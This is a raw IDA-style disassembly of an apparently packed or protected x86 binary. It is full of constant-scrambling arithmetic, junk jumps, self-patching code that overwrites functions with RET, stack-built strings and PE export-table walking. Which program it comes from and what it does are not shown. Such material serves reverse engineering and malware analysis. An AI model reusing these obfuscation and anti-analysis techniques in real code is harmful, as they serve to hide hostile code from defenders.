; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
		xor	eax, 211605DFh
		rol	eax, 1Bh
		xor	eax, 3646EF14h
		add	eax, 0B0144F54h
		jmp	loc_44560F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_44AF14:				; CODE XREF: sub_4478CDj
		push	571BBB2Ah
		jmp	loc_4441E1
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C347

loc_44AF24:				; CODE XREF: sub_44C347+1Cj
		jmp	loc_43FA14
; END OF FUNCTION CHUNK	FOR sub_44C347
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A680

loc_44AF29:				; CODE XREF: sub_44A680+5j
		jmp	loc_444566
; END OF FUNCTION CHUNK	FOR sub_44A680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_44AF2E:				; CODE XREF: sub_44739D-226Aj
		jmp	loc_449B59
; END OF FUNCTION CHUNK	FOR sub_44739D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA2B

loc_44AF33:				; CODE XREF: sub_43FA2B+7j
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_43FA2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_44AF38:				; CODE XREF: sub_43A179+46DEj
		jmp	loc_444CF3
; END OF FUNCTION CHUNK	FOR sub_43A179
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_282. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jns	loc_43F2BC
		mov	eax, [esp]
		push	edx
		call	sub_44B20C
		mov	eax, 0C684C00Ch
		jmp	loc_442E47
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_4455B2
; ---------------------------------------------------------------------------

loc_44AF5D:				; CODE XREF: kgbikm34:0044BDBDj
		xor	edx, eax

loc_44AF5F:				; CODE XREF: kgbikm34:loc_44BDB0j
		or	ecx, 73B96EF4h
		sub	ecx, 0F8C0FC3Eh
		xor	ecx, 1EFB7F67h
		add	eax, ecx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_440B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_44AF7C:				; CODE XREF: sub_444BCC+6j
		xchg	ebx, [esp+4+var_4]
		mov	ebp, ebx
		xchg	esi, [esp+4+var_4]
		mov	ebx, esi
		pop	esi
		push	6F87AE67h
		pop	eax
		and	eax, 745A11ADh
		jmp	loc_443ACB
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------
		mov	ebx, 0F0E2FEE8h
		jmp	sub_4379E6
; ---------------------------------------------------------------------------

loc_44AFA2:				; CODE XREF: kgbikm34:0044C13Fj
		jge	loc_443744
		jns	loc_445DF5

; =============== S U B	R O U T	I N E =======================================



sub_44AFAE	proc near		; CODE XREF: sub_449D87-1272Ep

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00444071 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00449FD9 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		push	ebx
		jmp	loc_444071
sub_44AFAE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C332

loc_44AFB9:				; CODE XREF: sub_43C332:loc_44B924j
		mov	ebx, edx
		xchg	ebx, [esp-8+arg_4]
		push	ebx
		push	4A83CB3Bh
		jmp	loc_43C0F4
; END OF FUNCTION CHUNK	FOR sub_43C332

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_44AFC9	proc near		; CODE XREF: sub_44744C-A4C8j
		retn
sub_44AFC9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431B6

loc_44AFCA:				; CODE XREF: sub_4431B6:loc_43A8BEj
		rol	edi, 0Fh
		xor	edi, 0AC0BB56Ch
		call	sub_44A64C

loc_44AFD8:				; CODE XREF: kgbikm34:0043ADFCj
		push	edx
		call	sub_43D9B3
		mov	eax, 0A4C05BA6h
		push	edi
		call	sub_43DF40
; END OF FUNCTION CHUNK	FOR sub_4431B6
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_44AFE9:				; CODE XREF: sub_43EFE3+736Cj
					; kgbikm34:loc_449C3Cj
		jmp	loc_43A032
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------

loc_44AFEE:				; CODE XREF: kgbikm34:0044070Aj
		jmp	ds:dword_41E06C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_320. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnb	loc_43A9DA
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		jmp	loc_44A0AB
; ---------------------------------------------------------------------------

loc_44B009:				; CODE XREF: kgbikm34:004451FCj
		jbe	loc_4426D7
; START	OF FUNCTION CHUNK FOR sub_43F3C5

loc_44B00F:				; CODE XREF: sub_43F3C5-3E7Ej
		and	edx, 0C1581120h
		jnz	loc_4476F3

loc_44B01B:				; CODE XREF: kgbikm34:00442AD5j
		jmp	nullsub_318
; END OF FUNCTION CHUNK	FOR sub_43F3C5
; ---------------------------------------------------------------------------
		cmp	edi, ecx
		jmp	loc_446995
; ---------------------------------------------------------------------------

loc_44B027:				; CODE XREF: kgbikm34:loc_44D943j
		pushf
		jg	loc_44BFBF
		jmp	loc_447CED
; ---------------------------------------------------------------------------
		mov	ds:off_41E030, eax
		lea	eax, sub_437A59
		mov	byte ptr [eax],	0C3h
		jmp	sub_437A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A59

loc_44B047:				; CODE XREF: sub_437A59j
		pop	edx
		jmp	loc_4497D0
; END OF FUNCTION CHUNK	FOR sub_437A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A108

loc_44B04D:				; CODE XREF: sub_43A108:loc_43F24Bj
		lea	eax, nullsub_6
		push	offset loc_44CF6D
		jmp	loc_43D3A2
; END OF FUNCTION CHUNK	FOR sub_43A108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_44B05D:				; CODE XREF: sub_447E85:loc_449A56j
		jz	loc_4399FE

loc_44B063:				; CODE XREF: sub_43EB3F+F521j
		jmp	nullsub_162
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
		or	ebp, esi
		not	ecx
		ja	loc_43AB07
		jmp	loc_4399FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44B077:				; CODE XREF: sub_43D494+9ABj
		add	ebx, 0F8C29D98h
		rol	ebx, 5
		or	ebx, 68461BFFh
		add	ebx, 9FCB23CBh
		add	ebx, ebp
		jmp	loc_43FB72
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		mov	[ecx], ebx
		jmp	sub_4371A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_44B09A:				; CODE XREF: sub_43E34D+D9A6j
		push	edx
		jmp	loc_44BCB6
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_44B0A0:				; CODE XREF: sub_439274:loc_43DA49j
		add	ebx, 4ABAE744h
		and	ebx, 0B391B27Ch
		add	ebx, 0DAFACC34h
		and	ebx, 724E2021h
		add	ebx, 3CD98E24h
		add	eax, ebx
		pop	ebx
		add	eax, 60DA51E0h
		jmp	loc_44216A
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_44307F
		jmp	loc_44676F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_44B0D9:				; CODE XREF: sub_43C167+DB48j
		cmp	edx, 2589B116h
		jmp	loc_43FD8E
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
		push	edx
		push	266F55E8h
		pop	edx
		sub	edx, 192FACCFh
		xor	edx, 0DE883974h
		rol	edx, 0Eh
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_44B0FA:				; CODE XREF: sub_442A46:loc_448235j
		add	edx, 1C266B67h
		jmp	loc_441FB5
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_44B105:				; CODE XREF: sub_43F4C9:loc_43F6DDj
		cmp	byte ptr [eax],	0
		jnz	loc_446214
		jmp	loc_44A011
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D632

loc_44B113:				; CODE XREF: sub_43D632:loc_43791Aj
		jz	loc_437486
		jmp	loc_447C60
; END OF FUNCTION CHUNK	FOR sub_43D632

; =============== S U B	R O U T	I N E =======================================



sub_44B11E	proc near		; CODE XREF: sub_43EAEE-3504j
		push	ebp
		mov	ebp, edi
		push	offset loc_44123C
		jmp	nullsub_164
sub_44B11E	endp

; ---------------------------------------------------------------------------

loc_44B12B:				; CODE XREF: kgbikm34:0043BC49j
		and	ebp, 3484BFF0h

loc_44B131:				; CODE XREF: kgbikm34:loc_43BC3Aj
		and	edx, 6FC8BA3Fh
		add	edx, 0BAFC434Bh
		xchg	edx, [esp]
		jmp	loc_445A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_44B145:				; CODE XREF: sub_440141:loc_44B579j
		pop	ecx
		xor	ecx, 0DB10A409h
		add	ecx, 852EC04Bh
		popf
		jmp	loc_448970
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------

loc_44B158:				; DATA XREF: sub_44B537-7258o
		pop	ebx
		mov	dword ptr [ebp-100h], 276E6143h
		mov	dword ptr [ebp-0FCh], 6F6C2074h
		mov	dword ptr [ebp-0F8h], 206461h
		mov	dword ptr [ebp-108h], 0Bh
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_44B181:				; CODE XREF: sub_43F4C9:loc_43E05Bj
		js	loc_43EBE2

loc_44B187:				; CODE XREF: sub_449F77-7D0Dj
		jmp	loc_441266
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44B18D	proc near		; DATA XREF: kgbikm34:loc_43724Fo

; FUNCTION CHUNK AT 0043A388 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A91E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D76B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447219 SIZE 0000000B BYTES

		push	909573CBh
		pop	edx
		sub	edx, 73823A1Ch
		rol	edx, 9
		call	sub_442F5A

loc_44B1A1:				; CODE XREF: kgbikm34:00448537j
		jmp	loc_447219
sub_44B18D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442551

loc_44B1A6:				; CODE XREF: sub_442551+3j
		jmp	loc_445307
; END OF FUNCTION CHUNK	FOR sub_442551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_44B1AB:				; CODE XREF: sub_4433D8-14FCj
		jmp	loc_441D51
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------

loc_44B1B0:				; DATA XREF: sub_44AED5+5o
		call	sub_440FF4
		call	sub_440501
; START	OF FUNCTION CHUNK FOR sub_448AC9

loc_44B1BA:				; CODE XREF: sub_448AC9+10j
		jmp	loc_43F804
; END OF FUNCTION CHUNK	FOR sub_448AC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44647B

loc_44B1BF:				; CODE XREF: sub_44647B-63E3j
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_44647B
; ---------------------------------------------------------------------------

loc_44B1C4:				; DATA XREF: sub_44DA2B+6o
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_44661D
		call	sub_447EE0

loc_44B1D3:				; CODE XREF: kgbikm34:0044D795j
		jmp	loc_44D430
; ---------------------------------------------------------------------------

loc_44B1D8:				; DATA XREF: sub_437613+EA24o
		add	eax, 3BCB6F59h
		push	offset loc_43DF9B
		jmp	loc_43AA18

; =============== S U B	R O U T	I N E =======================================



sub_44B1E8	proc near		; CODE XREF: kgbikm34:0043E412j
					; sub_44903A:loc_446C64p

; FUNCTION CHUNK AT 00441891 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		lea	eax, nullsub_8
		mov	byte ptr [eax],	0C3h
		jmp	loc_441891
sub_44B1E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_43789C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_44B204:				; CODE XREF: kgbikm34:0043AE74j
					; sub_440E0B-57ACj ...
		pop	ecx
		xchg	ecx, [esp+0]
		mov	ebp, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43DF5B

; =============== S U B	R O U T	I N E =======================================



sub_44B20C	proc near		; CODE XREF: kgbikm34:loc_43858Bj
					; sub_446F45-E27Bp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004370C7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00438CB3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00438D54 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043BD51 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043C7A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE4B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D9E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043DC37 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E57C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E731 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043EB87 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043EEDD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F0D6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043F343 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F7E7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004406E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440DC5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004419A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441B14 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442129 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004422EB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004429F1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443D47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004445A0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00445FD5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044687F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044695A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004480EC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00448844 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449648 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A2A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A5EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C903 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CCF9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044D06B SIZE 0000000A BYTES

		push	ebp
		jmp	loc_441B14
sub_44B20C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44B212:				; CODE XREF: sub_43C55C:loc_43D8E0j
					; kgbikm34:0043D8FCj
		sub	ecx, 3CBFF1ECh
		rol	ecx, 10h
		test	ecx, 200h
		jmp	loc_447B9E
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B5E4

loc_44B226:				; CODE XREF: sub_44B5E4:loc_4461B6j
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+4+var_4]
		mov	[ebp+var_4], eax

loc_44B22F:				; CODE XREF: sub_44A406:loc_44D6A2j
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		call	sub_444864

loc_44B239:				; CODE XREF: kgbikm34:004389BAj
		jmp	nullsub_173
; END OF FUNCTION CHUNK	FOR sub_44B5E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D3E6

loc_44B23E:				; CODE XREF: sub_43D3E6:loc_4426C6j
		ror	eax, 18h

loc_44B241:				; CODE XREF: kgbikm34:0044DF56j
		mov	ds:dword_43C584, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43D3E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_44B248:				; CODE XREF: sub_442A46+Fj
					; sub_441711+97B4j
		rol	eax, 18h
		push	eax
		call	sub_43C7C6
		retn
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_44B252:				; CODE XREF: sub_443622+44D0j
		jmp	loc_44615A
; END OF FUNCTION CHUNK	FOR sub_443622
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B258:				; CODE XREF: kgbikm34:00448C4Aj
		jnz	loc_43B383
		jmp	loc_43C300
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_44B263:				; CODE XREF: sub_447FC7-1077Bj
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_447FC7

; =============== S U B	R O U T	I N E =======================================



sub_44B269	proc near		; CODE XREF: sub_44AFAE-FCCj
					; sub_43E4C0:loc_44A6F5j
		push	ebp
		call	sub_448C95

loc_44B26F:				; CODE XREF: kgbikm34:00447107j
		jmp	nullsub_10
sub_44B269	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D846

loc_44B274:				; CODE XREF: sub_44D846:loc_43DCCEj
		mov	eax, [ebp-14h]
		push	eax
		call	sub_44DA3B
; END OF FUNCTION CHUNK	FOR sub_44D846
; START	OF FUNCTION CHUNK FOR sub_4455C3

loc_44B27D:				; CODE XREF: sub_4455C3+7j
		jmp	loc_44C4CD
; END OF FUNCTION CHUNK	FOR sub_4455C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44B282:				; CODE XREF: sub_43B1D6+4DBAj
		jmp	loc_448A44
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------

loc_44B287:				; CODE XREF: kgbikm34:00444854j
		test	edx, 7BAA18h
		jmp	loc_4427BF

; =============== S U B	R O U T	I N E =======================================



sub_44B292	proc near		; CODE XREF: kgbikm34:0043B036p
					; kgbikm34:00444547j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CB7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004428F9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443F38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446712 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00446C5F SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	8D3A626Dh
		jmp	loc_43CB7D
sub_44B292	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_44B2A1:				; CODE XREF: sub_447B31-2D40j
		pop	ecx
		sub	esi, ecx
		jmp	loc_4476C8
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4417B1

loc_44B2A9:				; CODE XREF: sub_4417B1+10j
		call	sub_44BA42
		mov	eax, [esp-4+arg_0]
		push	edx
		push	2E01D8Bh
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		jmp	loc_4426A8
; END OF FUNCTION CHUNK	FOR sub_4417B1

; =============== S U B	R O U T	I N E =======================================



sub_44B2C1	proc near		; CODE XREF: kgbikm34:0043DDEEj
					; sub_445CE9+6F58p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D7A5 SIZE 0000001C BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		or	eax, 58AA3A59h
		jmp	loc_43D7A5
sub_44B2C1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44B2D6:				; CODE XREF: sub_43B1D6:loc_43B718j
		sub	esi, 0A1800787h
		js	loc_448745

loc_44B2E2:				; CODE XREF: sub_4458D3+24j
		jmp	loc_44325B
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
		xchg	ebx, [ecx]
		xor	edi, ebx
		jmp	loc_448745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44B2F0:				; CODE XREF: sub_449F77:loc_44CCCAj
		pop	eax
		rol	eax, 0Bh
		cmp	eax, 0EABC8508h
		jmp	loc_44ADB2
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		push	edx
		push	offset sub_448800
		jmp	locret_438D18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44B30A:				; CODE XREF: sub_444A5E-6ED7j
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_44C8C7
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_443B37
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_44B31F:				; CODE XREF: kgbikm34:00441E7Aj
		ja	loc_44828B
		sbb	edx, eax
		and	ebx, ebp
		jz	loc_44D764
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44B32F:				; CODE XREF: sub_43D494:loc_441E61j
		xor	eax, 0F71AFADh
		jmp	loc_4458B8
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442798

loc_44B33A:				; CODE XREF: sub_442798+9j
		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ebx, [esp+0]
		jmp	loc_43F1E5
; END OF FUNCTION CHUNK	FOR sub_442798

; =============== S U B	R O U T	I N E =======================================



sub_44B34A	proc near		; CODE XREF: sub_44BB9F-2F20p
					; kgbikm34:00449356j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437363 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004374A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437F56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043866C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004398E0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043ECF7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441670 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445650 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jz	loc_4398E0
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, edx
		jmp	loc_445650
sub_44B34A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B360:				; CODE XREF: kgbikm34:0043E675j
		jmp	loc_449AD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_44B365:				; CODE XREF: sub_44114F+AC98j
		xchg	ebx, [esp+0]
		jmp	loc_43B2AA
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
		cmp	ebx, 7C18C352h
		jmp	loc_443A66
; ---------------------------------------------------------------------------

loc_44B378:				; CODE XREF: kgbikm34:loc_44078Cj
		push	offset loc_43D6E7
		jmp	loc_43F904
; ---------------------------------------------------------------------------

loc_44B382:				; CODE XREF: kgbikm34:loc_44D425j
		call	sub_445B81
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_44B387:				; CODE XREF: sub_4407E7:loc_437864j
		jl	loc_43987A

loc_44B38D:				; CODE XREF: sub_4488CF+19j
		jmp	loc_4474C1
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
		add	edi, 0C408D579h
		jmp	loc_44886C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44744C

loc_44B39E:				; CODE XREF: sub_44744C-C46j
		jmp	nullsub_354
; END OF FUNCTION CHUNK	FOR sub_44744C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9E9

loc_44B3A3:				; CODE XREF: sub_43A9E9+13j
		jmp	loc_43CE5C
; END OF FUNCTION CHUNK	FOR sub_43A9E9
; ---------------------------------------------------------------------------
		dd 0A2308A0Fh, 4E9FFFFh
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_44B3B3:				; DATA XREF: sub_440380-28D4o
		rol	eax, 9
		add	eax, 0D8089C02h
		push	ebx
		push	52BA4090h
		pop	ebx
		or	ebx, 17C08C0Ch
		test	ebx, 40000000h
		jmp	loc_445492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B72E

loc_44B3D4:				; CODE XREF: sub_43B72E:loc_44BB9Aj
		pop	ecx
		sub	ecx, 92AA767Eh
		or	ecx, 0D6C9B4A1h
		sub	ecx, 4F5BA139h
		add	ecx, 78B49711h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_43FC0F
; END OF FUNCTION CHUNK	FOR sub_43B72E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA61

loc_44B3F5:				; CODE XREF: sub_44CA61+16j
		jge	loc_441224
		adc	ecx, ebp
		push	ebx
		jmp	loc_44121D
; END OF FUNCTION CHUNK	FOR sub_44CA61
; ---------------------------------------------------------------------------
		call	sub_446D60
		pushf
		jmp	sub_43C56B
; ---------------------------------------------------------------------------

loc_44B40E:				; DATA XREF: sub_43BCAD:loc_440B4Ao
		cmp	al, 0A4h
		jz	loc_43D401
		jmp	loc_44BC8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444051

loc_44B41B:				; CODE XREF: sub_444051+1718j
		and	eax, 4AC6F9BBh
		add	eax, 390B47Ah

loc_44B427:				; CODE XREF: sub_44087D:loc_43D8CFj
		test	eax, 80h
		jmp	loc_44DB2F
; END OF FUNCTION CHUNK	FOR sub_444051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424F7

loc_44B432:				; CODE XREF: sub_4424F7:loc_43A40Fj
		jz	loc_44743F
		jmp	loc_4475DF
; END OF FUNCTION CHUNK	FOR sub_4424F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D642

loc_44B43D:				; CODE XREF: sub_43D642-278Cj
		xor	ebx, esi
		jmp	loc_439A43
; END OF FUNCTION CHUNK	FOR sub_43D642
; ---------------------------------------------------------------------------

loc_44B444:				; CODE XREF: kgbikm34:loc_440423j
		sub	al, 99h
		push	30016930h
		pop	edx
		sub	edx, 0B768D5AFh
		rol	edx, 0Ch
		test	edx, 400h
		jmp	loc_44BB90
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_291. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441675

loc_44B461:				; CODE XREF: sub_441675+7j
		jmp	loc_448104
; END OF FUNCTION CHUNK	FOR sub_441675
; ---------------------------------------------------------------------------

loc_44B466:				; CODE XREF: kgbikm34:0043E6A7j
		jmp	loc_4433A6

; =============== S U B	R O U T	I N E =======================================



sub_44B46B	proc near		; CODE XREF: sub_4490AC:loc_4490C2j
					; sub_44D21Fp
		call	sub_449893
sub_44B46B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_440FF4

loc_44B470:				; CODE XREF: sub_440FF4+CC5Dj
		push	offset loc_43A32D
		jmp	loc_448BBF
; END OF FUNCTION CHUNK	FOR sub_440FF4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B47A	proc near		; CODE XREF: sub_441B24+17p
					; sub_43C99B+DFCEj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439432 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043BB91 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C357 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043DD14 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043FAEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044125D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00442CC5 SIZE 0000000B BYTES
